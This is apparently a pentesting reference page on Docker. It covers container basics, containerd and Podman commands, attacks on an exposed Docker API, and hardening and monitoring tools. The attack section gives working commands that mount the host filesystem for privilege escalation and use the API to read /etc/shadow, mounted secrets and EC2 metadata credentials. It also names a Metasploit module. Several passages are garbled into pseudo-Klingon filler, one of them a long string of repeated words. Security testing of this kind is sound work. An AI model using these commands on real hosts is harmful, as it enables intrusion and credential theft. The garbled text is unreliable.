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Docker Basics

What is

Docker is the forefront platform in the containerization industry, spearheading continuous innovation. It facilitates the effortless creation and distribution of applications, spanning from traditional to futuristic, and assures their secure deployment across diverse environments.

Basic docker architecture

containerd: This is a core runtime for containers, tasked with the comprehensive management of a container's lifecycle. This involves handling image transfer and storage, in addition to overseeing the execution, monitoring, and networking of containers. More detailed insights on containerd are further explored.
The container-shim plays a critical role as an intermediary in the handling of headless containers, seamlessly taking over from runc after the containers are initialized.
runc: Esteemed for its lightweight and universal container runtime capabilities, runc is aligned with the OCI standard. It is used by containerd to start and manage containers according to the OCI guidelines, having evolved from the original libcontainer.
grpc is essential for facilitating communication between containerd and the docker-engine, ensuring efficient interaction.
The OCI is pivotal in maintaining the OCI specifications for runtime and images, with the latest Docker versions being compliant with both the OCI image and runtime standards.

Basic commands

docker version #Get version of docker client, API, engine, containerd, runc, docker-init
docker info #Get more infomarion about docker settings
docker pull registry:5000/alpine #Download the image
docker inspect <containerid> #Get info of the contaienr
docker network ls #List network info
docker exec -it <containerid> /bin/sh #Get shell inside a container
docker commit <cotainerid> registry:5000/name-container #Update container
docker export -o alpine.tar <containerid> #Export container as tar file
docker save -o ubuntu.tar <image> #Export an image
docker ps -a #List running and stopped containers
docker stop <containedID> #Stop running container
docker rm <containerID> #Remove container ID
docker image ls #List images
docker rmi <imgeID> #Remove image
docker system prune -a
#This will remove:
#  - all stopped containers
#  - all networks not used by at least one container
#  - all images without at least one container associated to them
#  - all build cache

Containerd

Containerd jatlh container platforms Docker and Kubernetes vItlhutlh. Containers vItlhutlh execution simplify aims to Containerd. Linux, Windows, Solaris, je, 'ej DaH jatlhpu' operating systems, 'ej operating system-specific functionality 'ej system calls abstracting by, 'ej vItlhutlh containers execution. Containerd vItlhutlh users, 'ej vItlhutlh components unnecessary omit striving, 'ej vItlhutlh components essential only include to goal the. However, achieving this goal completely is acknowledged as challenging.

Containerd networking handle vItlhutlh. Distributed systems, Software Defined Networking (SDN) 'ej service discovery such complexities, 'ej platforms vary significantly from one to another. Therefore, networking aspects Containerd platforms vItlhutlh management to be left.

Docker Containerd vItlhutlh containers run to utilizes, 'ach Containerd Docker functionalities subset only supports. Specifically, Docker 'ej Docker swarms creation support not does 'ej Docker 'ej network management capabilities lack Containerd. Containerd's focused role as a container runtime environment highlights, 'ej functionalities specialized more platforms it integrates with delegating.

#Containerd CLI
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
ctr images list #List images
ctr container create registry:5000/alpine:latest alpine #Create container called alpine
ctr container list #List containers
ctr container info <containerName> #Get container info
ctr task start <containerName> #You are given a shell inside of it
ctr task list #Get status of containers
ctr tasks attach <containerName> #Get shell in running container
ctr task pause <containerName> #Stop container
ctr tasks resume <containerName> #Resume cotainer
ctr task kill -s SIGKILL <containerName> #Stop running container
ctr container delete <containerName>

Podman

Podman yI'el open-source container engine, vaj yIlo'laHbe'ghach Open Container Initiative (OCI) standards, vItlhutlh vaj vItlhutlh Red Hat. 'Ivqu' Docker vItlhutlh, vaj 'oH vItlhutlh features, notably daemonless architecture vaj rootless containers support, enabling users to run containers without root privileges.

Podman designed to be compatible with Docker's API, allowing for the use of Docker CLI commands. This compatibility extends to its ecosystem, which includes tools like Buildah for building container images vaj Skopeo for image operations such as push, pull, vaj inspect. More details on these tools can be found on their GitHub page.

Key Differences

Architecture: Docker's client-server model vaj background daemon, Podman operates without a daemon. This design means containers run with the privileges of the user who starts them, enhancing security by eliminating the need for root access.
Systemd Integration: Podman integrates with systemd to manage containers, allowing for container management through systemd units. This contrasts with Docker's use of systemd primarily for managing the Docker daemon process.
Rootless Containers: A pivotal feature of Podman is its ability to run containers under the initiating user's privileges. This approach minimizes the risks associated with container breaches by ensuring that attackers gain only the compromised user's privileges, not root access.

Podman's approach offers a secure vaj flexible alternative to Docker, emphasizing user privilege management vaj compatibility with existing Docker workflows.

{% hint style="info" %} Note that as podam aims to support the same API as docker, you can use the same commands with podman as with docker such as:

podman --version
podman info
pdoman images ls
podman ls

{% endhint %}

QaStaHvIS

Remote API jatlh 2375 port Daq yInob. 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PORT    STATE SERVICE
2375/tcp open  docker

Enumeration

Manual

Note that in order to enumerate the docker API you can use the docker command or curl like in the following example:

qo'wI'wI'

QaD

Docker API nuqneH 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej 'ej

#Using curl
curl -s http://open.docker.socket:2375/version | jq #Get version
{"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"19.03.1","Details":{"ApiVersion":"1.40","Arch":"amd64","BuildTime":"2019-07-25T21:19:41.000000000+00:00","Experimental":"false","GitCommit":"74b1e89","GoVersion":"go1.12.5","KernelVersion":"5.0.0-20-generic","MinAPIVersion":"1.12","Os":"linux"}},{"Name":"containerd","Version":"1.2.6","Details":{"GitCommit":"894b81a4b802e4eb2a91d1ce216b8817763c29fb"}},{"Name":"runc","Version":"1.0.0-rc8","Details":{"GitCommit":"425e105d5a03fabd737a126ad93d62a9eeede87f"}},{"Name":"docker-init","Version":"0.18.0","Details":{"GitCommit":"fec3683"}}],"Version":"19.03.1","ApiVersion":"1.40","MinAPIVersion":"1.12","GitCommit":"74b1e89","GoVersion":"go1.12.5","Os":"linux","Arch":"amd64","KernelVersion":"5.0.0-20-generic","BuildTime":"2019-07-25T21:19:41.000000000+00:00"}

#Using docker
docker -H open.docker.socket:2375 version #Get version
Client: Docker Engine - Community
Version:           19.03.1
API version:       1.40
Go version:        go1.12.5
Git commit:        74b1e89
Built:             Thu Jul 25 21:21:05 2019
OS/Arch:           linux/amd64
Experimental:      false

Server: Docker Engine - Community
Engine:
Version:          19.03.1
API version:      1.40 (minimum version 1.12)
Go version:       go1.12.5
Git commit:       74b1e89
Built:            Thu Jul 25 21:19:41 2019
OS/Arch:          linux/amd64
Experimental:     false
containerd:
Version:          1.2.6
GitCommit:        894b81a4b802e4eb2a91d1ce216b8817763c29fb
runc:
Version:          1.0.0-rc8
GitCommit:        425e105d5a03fabd737a126ad93d62a9eeede87f
docker-init:
Version:          0.18.0
GitCommit:        fec3683

qaStaHvIS Docker API Docker command contact execute Docker commands previously commented interest service.

{% hint style="info" %} DOCKER_HOST "tcp://localhost:2375" export -H parameter avoid Docker command {% endhint %}

Fast privilege escalation

docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash

Curl

2376 qar'a' TLS endpoint vItlhutlh. jImejDaq curl lo'laHbe'chugh docker client vItlhutlh. 'ach curl vItlhutlh.

#List containers
curl –insecure https://tlsopen.docker.socket:2376/containers/json | jq
#List processes inside a container
curl –insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
#Set up and exec job to hit the metadata URL
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'
#Get the output
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
# list secrets (no secrets/swarm not set up)
curl -s –insecure https://tlsopen.docker.socket:2376/secrets | jq
#Check what is mounted
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}'
#Get the output by starting the exec
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d '{}'
#Cat the mounted secret
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}'
#List service (If you have secrets, it’s also worth checking out services in case they are adding secrets via environment variables)
curl -s –insecure https://tls-opendocker.socket:2376/services | jq
#Creating a container that has mounted the host file system and read /etc/shadow
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/start?name=test
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}'
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6/start -d '{}'
#Stop the container
curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop
#Delete stopped containers
curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune

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msf> use exploit/linux/http/docker_daemon_tcp
nmap -sV --script "docker-*" -p <PORT> <IP>

qo'vam

qaStaHvIS docker container laHlIj chegh vItlhutlh:

{% content-ref url="../linux-hardening/privilege-escalation/docker-security/" %} docker-security {% endcontent-ref %}

vaj vItlhutlh container, vaj vItlhutlh, vaj qo'wI' vItlhutlh, vaj qo'wI' vItlhutlh:

docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cat /mnt/etc/shadow

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py

Privilege Escalation

If you are inside a host that is using docker, you may read this information to try to elevate privileges.

Discovering secrets in running Docker containers

docker ps [| grep <kubernetes_service_name>]
docker inspect <docker_id>

env (ghItlhvam qutlh) vItlhutlh:

nIvbogh.
Ip.
Ports.
Paths.
bIng... .

vaj vItlhutlh vItlhutlh:

docker cp <docket_id>:/etc/<secret_01> <secret_01>

Securing your Docker

Securing Docker installation and usage

You can use the tool https://github.com/docker/docker-bench-security to inspect your current docker installation.
./docker-bench-security.sh
You can use the tool https://github.com/kost/dockscan to inspect your current docker installation.
dockscan -v unix:///var/run/docker.sock
You can use the tool https://github.com/genuinetools/amicontained the privileges a container will have when run with different security options. This is useful to know the implications of using some security options to run a container:
docker run --rm -it r.j3ss.co/amicontained
docker run --rm -it --pid host r.j3ss.co/amicontained
docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained

Securing Docker Images

You can use a docker image of https://github.com/quay/clair to make it scan your other docker images and find vulnerabilities.
docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"
clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image

Securing Dockerfiles

You can use the tool https://github.com/buddy-works/dockerfile-linter to inspect your Dockerfile and find all kinds of misconfigurations. Each misconfiguration will be given an ID, you can find here https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md how to fix each of them.
dockerfilelinter -f Dockerfile

You can use the tool https://github.com/replicatedhq/dockerfilelint to inspect your Dockerfile and find all kinds of misconfigurations.
dockerfilelint Dockerfile

You can use the tool https://github.com/RedCoolBeans/dockerlint to inspect your Dockerfile and find all kinds of misconfigurations.
dockerlint Dockerfile

You can use the tool https://github.com/hadolint/hadolint to inspect your Dockerfile and find all kinds of misconfigurations.
hadolint Dockerfile

Logging Suspicious activity

You can use the tool https://github.com/falcosecurity/falco to detect suspicious behaviour in running containers.
Note in the following chunk how Falco compiles a kernel module and insert it. After that, it loads the rules and start logging suspicious activities. In this case it has detected 2 privileged containers started, 1 of them with a sensitive mount, and after some seconds it detected how a shell was opened inside one of the containers.

docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
* Setting up /usr/src links from host
* Unloading falco-probe, if present
* Running dkms install for falco

Kernel preparation unnecessary for this kernel.  Skipping...

Building module:
cleaning build area......
make -j3 KERNELRELEASE=5.0.0-20-generic -C /lib/modules/5.0.0-20-generic/build M=/var/lib/dkms/falco/0.18.0/build.............
cleaning build area......

DKMS: build completed.

falco-probe.ko:
Running module version sanity check.
modinfo: ERROR: missing module or filename.
- Original module
- No original module exists within this kernel
- Installation
- Installing to /lib/modules/5.0.0-20-generic/kernel/extra/
mkdir: cannot create directory '/lib/modules/5.0.0-20-generic/kernel/extra': Read-only file system
cp: cannot create regular file '/lib/modules/5.0.0-20-generic/kernel/extra/falco-probe.ko': No such file or directory

depmod...

DKMS: install completed.
* Trying to load a dkms falco-probe, if present
falco-probe found and loaded in dkms
2021-01-04T12:03:20+0000: Falco initialized with configuration file /etc/falco/falco.yaml
2021-01-04T12:03:20+0000: Loading rules from file /etc/falco/falco_rules.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/falco_rules.local.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/k8s_audit_rules.yaml:
2021-01-04T12:03:24+0000: Starting internal webserver, listening on port 8765
2021-01-04T12:03:24.646959000+0000: Notice Privileged container started (user=<NA> command=container:db5dfd1b6a32 laughing_kowalevski (id=db5dfd1b6a32) image=ubuntu:18.04)
2021-01-04T12:03:24.664354000+0000: Notice Container with sensitive mount started (user=<NA> command=container:4822e8378c00 xenodochial_kepler (id=4822e8378c00) image=ubuntu:modified mounts=/:/host::true:rslave)
2021-01-04T12:03:24.664354000+0000: Notice Privileged container started (user=root command=container:4443a8daceb8 focused_brahmagupta (id=4443a8daceb8) image=falco:latest)
2021-01-04T12:04:56.270553320+0000: Notice A shell was spawned in a container with an attached terminal (user=root xenodochial_kepler (id=4822e8378c00) shell=bash parent=runc cmdline=bash terminal=34816 container_id=4822e8378c00 image=ubuntu)

Monitoring Docker

You can use auditd to monitor docker.

References

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